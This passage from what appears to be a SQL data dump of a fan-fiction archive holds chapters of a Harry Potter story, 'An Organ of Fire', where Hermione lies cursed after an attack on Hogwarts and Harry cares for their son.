she would remember for a long time.  <br><br>Harry caught her before she could slump to the ground.  &quot;Hermione?!&quot;  When she didn\'t reply, he directed his wand\'s light over her face.  Her eyes were closed; her face deathly pale.  She was unconscious, but breathing.  &quot;Hermione...wake up!&quot;  <br><br>&quot;It\'s no good.&quot;  Harry nearly jumped upon hearing Snape\'s voice.  The older man came into the circle of light; a bloody gash marred his cheek.  &quot;No one who\'s been touched by one of them is waking up.&quot;  <br><br>&quot;One of them?  Who are they?  What\'s going on?&quot;  Harry pulled Hermione\'s body closer to his.  &quot;What\'s happened to her??&quot;<br><br>Snape wiped at his cheek, succeeding only in smearing the blood.  &quot;I don\'t know who they are or how they got onto the grounds.  Broomstick, perhaps.  But they knocked out all the lights and just started...&quot;  He made a gesture with his hands.  &quot;...attacking people.&quot;  <br><br>As soon as the words left his mouth, all of the candles came to life, flooding the Hall with light.  Harry winced.  &quot;Nox,&quot; he said, undoing the light spell on his wand.  <br><br>Whoever they were, they were gone.  In their wake, they left the Great Hall of Hogwarts resembling a battlefield.  The long tables were broken in several different places.  Food and dishes were scattered everywhere.  But far more disturbing were the children, the huge groups of them, huddled together for safety...and the thirty or so laying on the floor, unconscious.  <br><br>Harry searched for Dumbledore.  He was at the head table; Professor McGonagall was helping him to his feet.  He looked, perhaps, the most affected Harry had ever seen him look.  He raised his voice as much as he could to be heard over the lingering cries and sobs.  &quot;Professors....please see to the children.  Prefects....take your Houses back to the dormitories.&quot;  <br><br>His orders were followed immediately.  Shock was beginning to set in; the children Harry watched leave the Great Hall were not the same as they had been only that afternoon.  He looked down at Hermione.  She showed no signs of stirring.  With the greatest of care, he picked her up, cradling her in his arms.  <br><br>&quot;Lay her on the table,&quot; Snape instructed, harkening back to the days when Harry had been merely his student.  Harry didn\'t seem to care; he gently set Hermione down on a table that wasn\'t broken.  The other professors were doing the same with the fallen children.  <br><br>Hagrid ran over, crushing a turned-over bench in his haste.  &quot;Not \'ermione...&quot;  He hit the table, causing her still body to jerk.  &quot;Whoev\'r the bastards are...we\'ll git \'em, \'arry.&quot;  <br><br>Harry only nodded and tucked a lock of hair behind Hermione\'s ear.  Snape begin to speak as he looked around the room at the victims.  &quot;Hamilton Berry....Clarissa Houseman....Thomas Mead....&quot;  He looked down.  &quot;Hermione....  They\'re all...&quot;<br><br>&quot;Muggle-born.&quot;  Dumbledore approached them.  Snape opened his mouth again, but he continued, &quot;Let\'s not dwell on the details just yet.  The important thing is reviving those who have fallen and securing the safety of the rest of the school.  Let\'s move as many as possible to the Hospital Wing.  And then, I\'d like you, Hagrid, to make a full sweep of the school.&quot;  His eyes darkened.  &quot;I want to know exactly how Hogwarts was violated.&quot;<br><br>Harry heard none of this.  All he could do was hold onto Hermione, as though he could send his strength into her.  He rested his forehead against hers; a tear slipped out of his eye and landed on her cheek.<br><br>*Please be all right....please wake up....please don\'t leave us.*<br><br>****<br><br>To Be Continued'),
	(93, 6, 'Disclaimer:  Many characters, thoughts, ideas, etc do not belong to me, nor do I make any claim that they do.  So there.<br><br>Author\'s Notes:  Sorry for the delay!  Exams came and went (I got all A\'s expect for a tiny little C+ in Japanese) and then Christmas came and went and somehow, writing this chapter became like pulling teeth.  But it\'s done and I have a clear outline for the next one, so all is right again.  Thanks for all the wonderful comments since the last chapter; they\'ve kept me going.<br><br>Dedication:  To Christin, a new inductee into the Fan Fiction club.  Check out her Harry Potter story; her author name is C. Shumaker.  The Creative Writing department at our college is about to give her a degree next semester; I think you\'ll like her work a lot;)<br><br>****<br><br>An Organ of Fire<br>by Kristen Elizabeth<br><br>****<br><br>&quot;Well, I\'m in Gryffindor and I have nipples.&quot;  - My friends and I....it would take *way* too long to explain.<br><br>****<br><br>He woke to something warm wetting his scalp through his hair.  Harry opened his eyes; sometime during the night, he had fallen asleep.  His cheek was pressed against Hermione\'s breast.  For a moment, he thought he might still be in the arms of a delicious dream.  He sat up suddenly when he remembered where they were.  The Hospital Wing.  The morning after the attacks.<br><br>Harry looked down at her.  She was as she had been for nearly twelve hours.  Pale and silent.  Only now...tears streamed down her cheeks despite her tightly shut eyelids.  <br><br>&quot;Hermione...&quot;  He ran a thumb over her cheekbone.  &quot;Come on, sweetheart.  Just open your eyes....please.&quot;<br><br>&quot;Ah, good.  You\'re awake, Harry.&quot;  He could sense the comforting presence of Dumbledore behind him before he heard his voice.  <br><br>Harry withdrew his hand.  &quot;She\'s not, though.&quot;  He glanced over his shoulder, past the old wizard.  All of the Hospital Wing\'s beds were full of the children who had been attacked.  Some of them were just sitting up; others were already standing.  But they were all conscious.  &quot;Why isn\'t she?&quot;  He ran a hand through his unruly hair.  &quot;Why won\'t she wake up?&quot;<br><br>Dumbledore placed a hand on his shoulder.  &quot;I wish I could tell you, Harry.  But even Madam Pomfrey doesn\'t know.  She\'s at a loss, what with even the Mandrake potion not working.&quot;<br><br>Harry wiped his eyes under his glasses and took Hermione\'s hand again.  &quot;What *do* we know?&quot;<br><br>&quot;Hagrid is still inspecting the grounds, but we\'ve not yet ruled out the possibility that they might have flown here.&quot;  He paused.  &quot;Of course...that would mean they knew our exact location, which would mean...&quot;<br><br>&quot;Which would mean that they were former students,&quot; Harry finished for him.  &quot;But we knew that already, right?  I mean...this is obviously a spell\'s doing.&quot;  He swallowed.  &quot;What they\'ve done to her.  But what kind of spell and how is it that everyone has recovered, but her?&quot;<br><br>Dumbledore hesitated.  &quot;I believe Hermione is under a form of the Cruciatus Curse.  But rather than physical pain, she\'s been forced into a state of mental torture.  All of the children have told me about the terrible dreams they experienced while under the spell.  Far worse than any normal nightmares.&quot;  <br><br>As Dumbledore spoke, Harry rubbed his thumb in circles on the soft back of Hermione\'s hand.  &quot;But they all woke up.  They escaped the nightmares.  She\'s still locked into them.  Why?  Why her??&quot;<br><br>&quot;I do have an idea.&quot;  The old wizard spoke with immense regret.  &quot;The curse put on her was far stronger than the children.&quot;  He lowered his voice.  &quot;Whoever did this wanted to make her suffer most of all.&quot;<br><br>&quot;I can\'t imagine anyone wanting to hurt someone as good as Hermione.  I mean, what did she ever do to...&quot;  Fear gripped Harry\'s throat, preventing him from speaking for several long moments.  &quot;Oh no...&quot;  He shook his head.  &quot;No, no, no...it can\'t be that...I mean, this is why I left, so this wouldn\'t...&quot;<br><br>&quot;Harry, her parents are Muggles.  And the children targeted were all Muggle-born.&quot;<br><br>He was beyond hearing.  &quot;They\'re after me.  They\'re using her to get to me.  This is all my...&quot;<br><br>&quot;Don\'t do that, Harry.&quot;  Dumbledore was firm.  &quot;Taking the blame isn\'t going to help her at all.&quot;<br><br>Harry nodded, but deep inside, the guilt had already taken its hold on him.  The fear that if it weren\'t for him, Hermione would be just fine, wasn\'t going anywhere.<br><br>&quot;Professor Dumbledore, sir.&quot;  Hagrid appeared, virtually from nowhere, behind them.  Harry hadn\'t even heard him enter the room.  He looked more grim than Harry could ever recall having seen him look  <br><br>&quot;Where is the boy?&quot; the old man asked.<br><br>&quot;Just outside.  He\'s bin askin\' \'bout his mum.  I told him a wee bit.&quot;  Hagrid sighed.  &quot;Do yer think it\'d be good fer him ter see her like this?&quot;<br><br>Dumbledore looked at Harry.  &quot;What do you think?&quot;<br><br>Harry hesitated, but only for a moment.  &quot;Let him come in.  I\'ll be right here with him.&quot;<br><br>In the space of only a minute, his son had approached the bed and stood next to him, looking down at his mother\'s still body.  Harry watched him very closely.  After a long time, little Harry turned his face up.  &quot;When will she get better?&quot;<br><br>&quot;I don\'t know,&quot; Harry replied, truthfully.  &quot;Someone\'s put a curse on her...&quot;  He swallowed.  &quot;It could be awhile.&quot;<br><br>&quot;But she will wake up, right?&quot;<br><br>Harry bit the inside of his cheek.  &quot;Of course she will.  Your mother is...she\'s the strongest woman I know.&quot;<br><br>Little Harry glanced back down at his mother.  &quot;Professor Potter...do you think that if I talked to her, she could hear me?&quot;  <br><br>&quot;I don\'t really...&quot;  He paused.  &quot;I think you should definitely try, Harry.&quot;  <br><br>Dumbledore backed up a few steps.  &quot;We\'ll give you a minute, lad,&quot; he told the boy.<br><br>&quot;Could Professor Potter stay?  Please?&quot;  <br><br>A smile peaked out from the snowy depths of Dumbledore\'s beard.  &quot;Of course.  Hagrid, let\'s go, shall we?&quot;  The two men quickly left.  <br><br>His son climbed up on the bed next to Hermione.  &quot;Mum?&quot; he whispered.  &quot;Can you hear me?&quot;  When she failed to even flutter an eyelash, little Harry sighed.  &quot;I hope you can.&quot;  He stopped and looked up at Harry.  &quot;What do I say, Professor?&quot;<br><br>Harry knelt next to the bed, to be at his son\'s eye level.  &quot;Just talk to her.  That\'s all we can do.&quot;<br><br>&quot;All right.&quot;  Little Harry drew in a valiant breath.  &quot;Mum...if you can hear me...please wake up.  Please?  I\'ll do anything, I promise!  I\'ll clean my room every day...I won\'t run in the hallways...I\'ll even be nice to Miss Belle.&quot;  His chin wobbled.  &quot;Just please wake up.&quot;  Harry put a hesitant arm around his son.  Little Harry sniffed.  &quot;I don\'t think she can hear me, Professor.&quot;<br><br>&quot;I wish I could tell you for sure,&quot; Harry replied whole-heartedly.  His son lowered his red head; his shoulders trembled.  Harry tightened the arm around the boy.  &quot;It\'s all right to cry, you know.  Truth be told, I did a bit of that myself earlier.&quot;  <br><br>Little Harry leaned into his shoulder.  &quot;I\'m afraid she won\'t wake up, Professor.  Just like Dad didn\'t.&quot;<br><br>&quot;Your mother is strong, Harry.&quot;<br><br>The child rubbed at his eyes.  &quot;So was Dad.&quot;  He glanced up at Harry.  There was an awkward beat of silence.  &quot;Your eyes are the same color as mine.&quot;<br><br>Harry blinked, noticing the emerald color of his son\'s eyes for the very first time.  &quot;Yes.  They are.&quot;<br><br>If the boy found anything unusual about this, he said nothing.  Rather, he returned his cheek to Harry\'s shoulder.  &quot;If Dad were here, he\'d make everything all right again.&quot;<br><br>On a sudden, but instinctive impulse Harry wrapped his arms around his son, hugging him fiercely.  &quot;It *will* be all right,&quot; he whispered.  &quot;I promise.&quot;<br><br>**Hermione...come back to him.  He needs you.  Come back to me.  I need you.**<br><br>****<br><br>She awoke in a large, flat, mist-covered field.  As she regained her bearings, she realized she was standing in *the* place.  The place where Harry had nearly been taken from the world, from her, forever.  The sight of the final battle with the fully restored, deadly powerful Voldemort.  <br><br>One hand pressed her chest; she looked down.  Instead of her skirt and blouse, she was clad in her old school robes.  She put a hand to her head; her hair was bushy and wild.  Her fingers flew back to her throat, but no rose quartz necklace greeted them.  She stood on shaky legs.  Was she alone?  <br><br>There was a loud snap.  She spun around.  No, she definitely wasn\'t alone.  Through the fog, she could just make out two dark shapes.  As she walked closer, the pieces of her memories came together.  Harry.  Voldemort.  Facing off, wands raised.  Ready to kill one another.  <br><br>Her mouth opened.  &quot;Harry!!&quot; she screamed.  <br><br>His head swung to the side.  Blood covered one side of his face, flowing freely from his freshly re-opened scar.  He waved his free arm at her.  &quot;Get out of here, Hermione!  Now!!&quot;<br><br>&quot;No!  I won\'t leave...&quot;  Her voice faded as Voldemort raised his wand even higher.  &quot;Harry...&quot;<br><br>&quot;Hermione, go!  Please!!  I can\'t protect you if you don\'t....&quot;  <br><br>&quot;Harry, look out!!!&quot;<br><br>But he looked too late.  Laughing all the while, Voldemort let loose with his final curse.  &quot;AVADA KEDAVRA!&quot;<br><br>She watched, helpless, as the greenish light shot out of Voldemort\'s wand.  It hit Harry square in his chest.  He threw his head back and screamed in agony.  Voldemort\'s laughter failed to drown out the sounds of Harry dying.  Harry\'s legs gave out under him; he hit the ground with a sickening thud.  With the final bit of energy he had, he looked over at her.  He tried to speak, but before he could form the words, he was gone.  <br><br>&quot;Harry?&quot;  Her voice was tiny compared to the enormity of the silence.  Harry\'s body...it was so still.  So bloody....  &quot;Harry?&quot;  Her stomach ached; Hermione bent at the waist, clutching her arms around her body.  &quot;No...no, no, no, no.  No....please.&quot;  Tears clouded her vision and choked her.  &quot;No...this isn\'t...&quot;  She swallowed.  &quot;This isn\'t how it ends.&quot;  Hermione turned on Voldemort.  &quot;This isn\'t how it\'s supposed to end!!&quot;<br><br>&quot;Ah, but we\'re on my time now.&quot;  Voldemort pointed his wand at Harry\'s body.  &quot;I can do whatever I want.  I can bring him back.&quot;  With a flick of his wrist, Harry opened his eyes.  He struggled to his feet and looked at her.  His emerald eyes were alive and well.  Voldemort grinned.  &quot;And I can take him away again.&quot;  He waved his wand, striking Harry down once more.  <br><br>&quot;STOP IT!!!&quot; Hermione screamed as she watched Harry die a second painful death.  Tears rolled down her cheeks.  &quot;Stop!!  Please!!!&quot;<br><br>Voldemort laughed.  &quot;But it\'s such fun!!&quot;  He approached her, extending one bony arm out and cupping her chin.  His fingers were cold and felt like a snake\'s skin.  &quot;Welcome to my world, little Mudblood.  The world that exists only in your nightmares.&quot;  He rose Harry again and prepared to strike.  &quot;I hope you\'ll hate it here.&quot;<br><br>****<br><br>&quot;Harry.&quot;<br><br>&quot;No...I don\'t need to rest.&quot;<br><br>Madam Pomfrey put her hands on her hips.  &quot;Harry Potter.  Do not make me repeat myself.  You have been here for five days and I\'ve barely seen you eat.&quot;  Her nose wrinkled.  &quot;Much less bathe.  Now if I have to, I will get Professor Dumbledore to order to take care of yourself, but I\'m hoping you\'ll simply realize that, admirable as it is, watching her for every waking moment isn\'t going to speed along her recovery one bit.&quot;<br><br>&quot;I\'m not leaving her.&quot;  Harry readjusted his grip on Hermione\'s pale hand.  &quot;She\'s in pain; I can feel it.  God only knows what\'s going on in her mind.&quot;  He shook his head.  &quot;No, I can\'t go.  I won\'t go.&quot;<br><br>The older woman sighed.  &quot;You know I would send for you if she happened to...&quot;<br><br>&quot;I\'m.  Not.  Leaving.&quot;<br><br>&quot;You were *much* more cooperative when you were a child!&quot;  Madam Pomfrey crossed her arms.  &quot;If you won\'t do it for yourself, then do it for the boy.&quot;<br><br>Harry turned his head to look at the medical witch.  &quot;Harry?  What about him?&quot;<br><br>&quot;He\'s been wandering the grounds like he was one of the ghosts.  Not that anybody\'s minded, of course.&quot;  Her tone was sad.  &quot;Most of the children are gone now.  Parents have been pulling them out, left and right.  Especially the Muggle parents.&quot;<br><br>He glanced around the Hospital Wing, noticing for the first time in nearly a week how quiet and empty it was.  &quot;What about classes?&quot;<br><br>&quot;Suspended indefinitely.&quot;  She bustled around the bed and took up Hermione\'s other wrist to check her pulse.  &quot;Never thought I\'d see the day when someone would bring down Hogwarts.&quot;<br><br>Harry\'s eyes flashed.  &quot;No one\'s brought down Hogwarts.&quot;<br><br>&quot;Yes.  Well...&quot;  Madam Pomfrey gently set down her patient\'s arm.  &quot;About the boy.  There hasn\'t really been anyone to look after him in the past few days.  If you won\'t leave her side to take care of yourself, at least look in on him.  Poor tyke...losing both parents...&quot;<br><br>&quot;Hermione\'s not lost,&quot; Harry reminded her, firmly.  He ran his thumb across the backs of Hermione\'s knuckles.  &quot;All right.  I\'ll check on him.&quot;  The woman lifted an eyebrow.  &quot;After I take a shower.&quot;<br><br>&quot;And...?&quot; she prompted.<br><br>&quot;And eat something.&quot;<br><br>Madam Pomfrey nodded.  &quot;Off with you then.&quot; <br><br>Harry reluctantly set down Hermione\'s hand, but not before he raised it to his lips.  &quot;I won\'t be long,&quot; he promised her.  He stood and stretched his cramped muscles.  &quot;You\'ll call...&quot;<br><br>&quot;The very second she starts to stir, Harry.&quot;  Madam Pomfrey pointed to the door.  Harry took the hint and headed out of the Hospital Wing.  <br><br>Thirty minutes later, after he was showered and dressed in fresh clothes, he found himself heading for the Great Hall.  Little Harry wasn\'t in his apartment; that had been the first place Harry had checked.  He breathed a little sigh of relief to find the boy seated at one of the magically repaired tables, picking at a plate of food.  There were several students, a couple of Griffindors and Hufflepuffs, eating a quick breakfast.  Most of them had boxes and trunks piled next to their benches, obviously ready to return home as soon as they ate.  <br><br>Harry approached his son quietly.  &quot;Is this seat taken?&quot;  He pointed to the long, empty bench.  The boy shook his head and Harry sat next to him.  &quot;What are you eating?&quot;<br><br>&quot;The house-elves sent up kippers.&quot;  His voice was listless.  &quot;But I don\'t like kippers.&quot;<br><br>&quot;What would you like?&quot;<br><br>Little Harry shrugged.  &quot;I\'m not really hungry.&quot;  <br><br>&quot;I see.&quot;  Harry looked down at the golden plate in front of him.  Without any fanfare, it suddenly filled with eggs, bacon and grilled tomatoes.  &quot;Would you like some of mine?&quot;<br><br>His son couldn\'t hide the interest in his eyes when he spied Harry\'s bacon.  &quot;You don\'t mind, Professor Potter?&quot;  <br><br>&quot;Not at all.&quot;  Harry transferred most of his bacon onto the boy\'s plate.  &quot;You need to eat.  Your mother would have a fit if she thought you weren\'t eating properly.&quot;<br><br>Little Harry cut into his bacon with some spark of enthusiasm.  &quot;Is Mum all right?  Hagrid told me I could go see her as much as I\'d like, but...&quot;  He swallowed.  &quot;I don\'t like seeing her like that.  Is that wrong of me, Professor?&quot;<br><br>&quot;No.&quot;  Harry poked his fork through a tomato.  &quot;It\'s not, Harry.&quot;<br><br>&quot;But, she\'s all right, isn\'t she?&quot;<br><br>He saw no point in lying to the child.  &quot;She\'s not worse.  But she\'s not any better either.&quot;<br><br>The boy lowered his fork.  &quot;I see.&quot;  He pushed away his plate.  &quot;Thank you for your bacon, Professor.&quot;  He started to climb off the bench.  <br><br>Harry swallowed a mouthful of eggs.  &quot;Wait a minute.  Where are you going?&quot;  Little Harry raised his shoulders.  Harry stood up, abandoning his breakfast.  &quot;I have an idea.  Do you still want to learn to play Quidditch?&quot;<br><br>Little Harry\'s green eyes lit up.  &quot;Of course!&quot;<br><br>&quot;Well then...there\'s no time like the present.&quot;  Harry put a hand on his son\'s shoulder.  &quot;The main courtyard should be fairly empty.  Meet me there in ten minutes.  I just need to get the chest.&quot;<br><br>Fifteen minutes found a very eager ten year old Harry and a slightly nervous twenty-eight year old Harry out in the open courtyard of the school, dragging along a heavy chest.  &quot;I assume you\'ve seen at least one Quidditch match before,&quot; Harry asked.<br><br>&quot;Oh, I\'ve seen lots!  Dad loved Quidditch.  He taught me what all the balls were when I was five.  We used to go to all the Chudley Cannons games played in England.  And we were supposed to go to the World Tournament last year...it was in France, but...&quot;  The boy stopped.  &quot;Dad died the week before the games started.&quot;<br><br> Harry knelt in front of the chest and opened it up.  It rocked with the movements of the restrained Bludgers.  &quot;I remember the day Ron made it onto the Gryffindor team.  He was Chaser...a damn good one.  But I\'m sure he told you all about it.&quot;  <br><br>Little Harry nodded.  &quot;I think he wanted me to be a Chaser someday, too.  But I want to be a Seeker.&quot;  <br><br>&quot;You do, do you?&quot;  Harry smiled.  &quot;It\'s the toughest job of all.&quot;<br><br>&quot;Exactly.&quot;<br><br>Chuckling, Harry plucked the Golden Snitch from its compartment within the chest.  He held it out to his son.  &quot;Let it go and follow it with your eyes.  A Seeker has to be able to follow the Snitch no matter where it moves or how fast.  The entire game depends on the Seeker\'s ability to track the nearly untrackable.&quot;<br><br>The boy released the Snitch into the air.  His eyes darted about as the Snitch flew circles in front of him.  &quot;I didn\'t know it was this hard to see.&quot;  <br><br>&quot;You\'ll get used to it,&quot; Harry assured him.  <br><br>Little Harry\'s brow furred in concentration.  He continued to follow the Snitch with an intense stare.  &quot;Professor Potter...Dad said you went away.  Where did you go?&quot;<br><br>Harry sat back on the grass.  &quot;Um...all over.  I went off to see the world, I guess you could say.  I had never seen anything farther than Scotland in my whole life.&quot;<br><br>&quot;Do you like the rest of the world?&quot;<br><br>&quot;I liked most of it,&quot; Harry replied.  He looked up at the looming spirals of the castle.  &quot;I still think this is the best place in the world, though.&quot;  <br><br>Little Harry dropped his gaze as the Snitch flew out of his sight.  &quot;Did you come back because Dad died?&quot;  Harry shook his head.  &quot;I think my dad missed you.&quot;<br><br>&quot;Why do you...say that?&quot;<br><br>The boy shrugged.  &quot;I bet he would have been happy that you came back.&quot;  <br><br>&quot;Harry...&quot;  He phrased his question carefully.  &quot;Could you tell me what you remember....about the day he died?&quot;<br><br>It took a moment for his son to reply.  &quot;Dad was in the middle of this really big thing at work and when he finally got a day off, he wanted to do something really fun.&quot;  Little Harry drew his knees up to his chest.  &quot;Sometimes, we\'d dress up and go into London, pretending to be Muggles.  Mum didn\'t really like to do it, but only \'cause she\'s too good at it.&quot;<br><br>Harry frowned.  &quot;London is awfully far for a day trip.&quot;  <br><br>&quot;We didn\'t live here then.  We lived in Bedford.  Dad worked in London.&quot;<br><br>&quot;But I thought your mother had been a Professor for awhile.&quot;<br><br>Little Harry shook his head.  &quot;She started right after Dad died.  We had to move here.&quot;  <br><br>The older man nodded.  &quot;I see.&quot;  He indicted that the child should continue.  <br><br>&quot;We were visiting Westminister Abbey and there was this big scaffold thing over the door.&quot;  He tugged at the cuff of his pants.  &quot;When we walked under it, it started to fall.  Dad pushed me out of the way.  And then Mum.&quot;  He paused.  &quot;And then it fell.&quot;  <br><br>Harry leaned towards him.  &quot;It just fell?  Did anyone touch it?  Was there anyone around that you recognized?&quot;<br><br>The boy\'s lip trembled.  &quot;I don\'t know, Professor.  I can\'t remember...I just....when they pulled Dad out, I tried to get him to wake up...and he wouldn\'t.  He wouldn\'t wake up.&quot;<br><br>&quot;It\'s all right.&quot;  Harry reached out to touch his son\'s rust-colored head.  &quot;I\'m sorry.  I didn\'t mean to make you upset.&quot;<br><br>Little Harry sniffed.  &quot;You didn\'t.&quot;  There was a beat of silence.  &quot;I lied, Professor.&quot;<br><br>&quot;About what?&quot;<br><br>His son lowered his eyes, ashamed.  &quot;Someone did touch the scaffolding.  Me.&quot;  Before Harry could say anything, he went on, in quite a rush.  &quot;I didn\'t mean to bump into it!  But that stupid Bronson...&quot;  He trailed off, obviously too angry to continue.<br><br>&quot;Um...who\'s Bronson?&quot;<br><br>Little Harry scrunched up his face.  &quot;Bronson Malfoy.  The worst person in the whole world!  He really is, Professor!  He\'s always going on about how his dad has money and...&quot;<br><br>Harry cut him off.  &quot;How old is he, Harry?&quot;<br><br>&quot;My age.&quot;  The boy crossed his arms.  &quot;We went to children\'s school together in London.  I don\'t think he can even read; he was always cheating off of my...&quot;<br><br>&quot;And his father?&quot;<br><br>The boy blinked.  &quot;Mr. Malfoy.  Dad called him Draco once.&quot;<br><br>There was no time for Harry to absorb this new piece of information.  There was a small, but insistent voice from one of the balconies overlooking the courtyard.  Both of them glanced up.  Barely visible from so high up, Madam Pomfrey was hanging over the stone railing, waving down at them.  <br><br>&quot;She...up!!&quot;  Harry could just make out.  He blinked.  The woman cupped her hands around her mouth and yelled louder.  &quot;Hermoine is waking up!&quot;<br><br>Harry jumped to his feet.  &quot;Harry!  Your mother is...&quot;  <br><br>The boy was already standing.  A huge smile lit up his face.  It fell suddenly, replaced by a look of concentration.  Little Harry reached out and plucked something from the air.  The Golden Snitch.  He looked at the ball in his hand and then back up at Harry.  &quot;C\'mon, Professor!&quot;<br><br>As his son raced off into the castle, Harry shook his head.  In his preoccupation, he hadn\'t even noticed the Snitch flying around them.<br><br>When he finally made it into the Hospital Wing, Hermione was already sitting up in bed.  The greatest wave of relief washed over him to see her awake, holding onto their son with as much strength as she had.  She looked up as he came in; so many emotions flashed through her eyes as they met his.  It was overwhelming.  <br><br>&quot;Hermione,&quot; Harry whispered.  She smiled and lowered her head to kiss the top of her son\'s head.  He cleared his throat.  &quot;You had us all worried,&quot; he continued, in what he hoped was a light tone.<br><br>Hermione glanced back up.  Her eyes were red, filled to the brim with hot tears.  &quot;I\'m sorry.&quot;<br><br>He walked over and knelt next to the bed.  &quot;Please don\'t be.&quot;  He ached to touch her, but with little Harry wrapped around her, he dared not.  &quot;I\'m just glad you decided to come back to us.&quot;<br><br>&quot;I almost...&quot;  She closed her eyes, letting the tears spill over.  &quot;...didn\'t.&quot;  One hand moved from their son\'s head and sought his.  Harry laced his fingers with hers and squeezed lightly.  &quot;Harry...&quot;  She drew in a breath.  &quot;I know...I know who...&quot;<br><br>&quot;Shh, it\'s all right.&quot;  He dropped a soft kiss onto her fingers.  &quot;You don\'t have to talk right now.  There\'ll be time later to...&quot;<br><br>&quot;No.&quot;  Hermione struggled to sit up some more.  Little Harry refused to let go of her.  He buried his face deeper into her shoulder.  &quot;I have to Harry.&quot;  After another breath, she pushed on.  &quot;I know who did this, Harry.  I saw it all.&quot;<br><br>&quot;Hermione...&quot;<br><br>&quot;It was him, Harry.  *Him*!&quot;<br><br>His scar throbbed.  After a long moment, Harry spoke.  &quot;Voldemort is...back.&quot;<br><br>****<br><br>To Be Continued'),
	(93, 7, 'Disclaimer: Le sigh. You know it, I know it, everyone with a brain knows it. Do I have to say it again?<br><br>Author\'s Notes: Sorry this part took so very long. Classes are really rough this semester. I am totally slapping my wrist for taking poetry and fiction technique classes at the same time. Anyways, I hope you enjoy this and thanks again for all the terrific feedback.<br><br>Dedication: To my brother who needs some cheering up. &quot;At least you don\'t have diabetes.&quot; In other words, keep your chin up.<br><br>****<br><br>An Organ of Fire<br>by Kristen Elizabeth<br><br>****<br><br>&quot;It\'s worse than coke; it\'s like crack! I\'ve become a crack whore. Fifteen dollar handjob, man. I *need* my HP!!!&quot; -my best friend, RE: her Harry Potter addiction<br><br>****<br><br>&quot;Hermione...they\'re about to start.&quot; With his hands in his pockets, Harry walked out onto the balcony. The mid-November air was cold and wet; he visibly shivered. &quot;Hermione?&quot;<br><br>She was standing at the stone railing, looking out over the lake. The light from the full moon tangled in her hair, giving her an ethereal glow. &quot;I\'m here,&quot; she replied, softly. &quot;I\'ll be there in just a moment.&quot;<br><br>Harry walked until he was standing just behind her. &quot;It\'s cold...you shouldn\'t stay out here for too long.&quot;<br><br>&quot;Harry...&quot; Slightly exasperated, she leaned back against his chest. &quot;I appreciate your concern, but I\'m not a child. And I\'m perfectly fine.&quot; <br><br>He took a deep breath, inhaling the delicious honeysuckle fragrance of her hair. &quot;All right...it has nothing to do with the cold.&quot; Placing his hands on her shoulders, he gently guided her around to face him. &quot;With all that\'s going on, it makes me very nervous when you\'re alone, outside, in the dark.&quot; His shoulders lifted. &quot;If that makes me seem maternal, so be it.&quot;<br><br>Hermione smiled. &quot;Not maternal, just...&quot; She lifted her chin and gave him a soft kiss. &quot;...overprotective. But in a good way, I suppose.&quot;<br><br>&quot;This meeting won\'t last long, you know.&quot; Harry traced the edge of her jaw with his finger. &quot;Afterwards, we could go somewhere and...&quot;<br><br>She pulled back ever so slightly. &quot;I have to get back home as soon as it\'s over. I promised Harry I\'d be there to tuck him in.&quot;<br><br>He nodded and hoped he didn\'t look too disappointed. Just then, someone cleared their throat, rather loudly. They broke apart quickly. From the edge of the balcony, Snape gave them an apathetic look. &quot;If you two don\'t mind, there is important business to be discussed. But then we wouldn\'t want the investigation of the attack on our school to stand in the way of a terminal case of puppy love, would we?&quot; Turning on his heel, he headed back into the castle.<br><br>Harry looked back at her. &quot;You know...he *was* sort of worried about you on Halloween.&quot;<br><br>&quot;Sticking up for Snape now, are we, Harry?&quot;<br><br>&quot;Well...&quot; He gave her the grin that made her heart flip over. &quot;Not sticking up for, so much as apologizing.&quot; Harry took her hand. &quot;Are you ready?&quot;<br><br>After a breath, she nodded. &quot;I\'m ready.&quot;<br><br>Still hand in hand, Harry and Hermione followed Snape\'s path into the castle, headed for the Great Hall. Even though it was a Wednesday evening, in the middle of the school year, there were no students to be found anywhere. No laughter drifted through the hallways, no hum of voices and the clatter of hundreds of forks meeting plates greeted them as they entered the Hall. Hogwarts was silent and very near empty. It made Harry\'s heart ache. <br><br>And, he had to admit, his blood boil. <br><br>There were only a few people waiting for them at the head table. Dumbledore was seated in the tallest chair with Professors McGonagall and Snape on either side. Hagrid was there, seated between Professor McGonagall and someone Harry couldn\'t make out very well. The man had a dark cloak pulled high around his neck and was leaning in, his face turned away, as he spoke to the half-giant. <br><br>Harry gave Hermione\'s hand a squeeze. &quot;Seems rather like an inquisition, doesn\'t it?&quot; She smiled nervously. <br><br>&quot;Harry...Hermione.&quot; Dumbledore gestured to two empty seats next to Snape. &quot;Please join us.&quot; They did as he asked, with Harry sitting directly next to the Potions master, so Hermione wouldn\'t have to. Dumbledore cleared his throat. &quot;Hagrid, we\'ll start by hearing from you.&quot;<br><br>Breaking off his conversation with the hooded stranger, Hagrid stood up. &quot;Well...af\'er a lon\' search, I\'ve come ter th\' reckonin\' that th\' attackers flew in on broomstick. Ev\'ry entrance were sealed up tigh\'.&quot; Harry opened his mouth. &quot;Aye, ev\'n th\' secret ones, \'arry. Since it were impos\'ble fer them ter Ap\'rate, they must\'erve flown in. There\'s no ot\'er way.&quot;<br><br>&quot;Thank you, Hagrid,&quot; Dumbledore said. The huge man sat down. &quot;We all realize that this means the attackers started out from somewhere nearby. The journey from anywhere else by broomstick is unthinkable.&quot;<br><br>Snape spoke up. &quot;They could have traveled by some other means to somewhere nearby...Hogsmeade, perhaps...and then flown in.&quot;<br><br>&quot;We should talk to the shopkeepers,&quot; Harry suggested. &quot;See if any large, strange groups were seen around Halloween.&quot;<br><br>&quot;Minerva, do you think you could do that?&quot; Dumbledore asked.<br><br>&quot;I could certainly try,&quot; she replied.<br><br>Dumbledore nodded. &quot;The Ministry of Magic has given me full reign over this investigation. In fact, they seem to want little to do with it. The Aurors claim to have an on-going inquiry, but it\'s mostly just to placate the outraged parents. Everyone wants an explanation, but no one is willing to search for one.&quot; He looked at his closest staff. &quot;That\'s why I\'m going to need each and every one of you to find the responsible parties. Only when they are caught will the children return.&quot; His eyes were sad. &quot;Hogwarts needs its students. Never, in all the many centuries, has something like this happened. We\'ve experienced everything from trolls to basilisks to dementors, but nothing, absolutely nothing has ever paralyzed this school until now. Which is why I\'ve asked someone else to join in our efforts.&quot; Dumbledore glanced past Hagrid to the hooded figure. &quot;I\'m sure no introductions will be necessary.&quot;<br><br>Harry looked over, curiously. His puzzled face melted away as the newcomer quietly removed his hood. &quot;Sirius!&quot; he exclaimed. <br><br>His godfather smiled at him. &quot;It\'s been a very long time, Harry.&quot; It was not the time for a reunion. The older man cleared his throat and addressed the matter at hand. 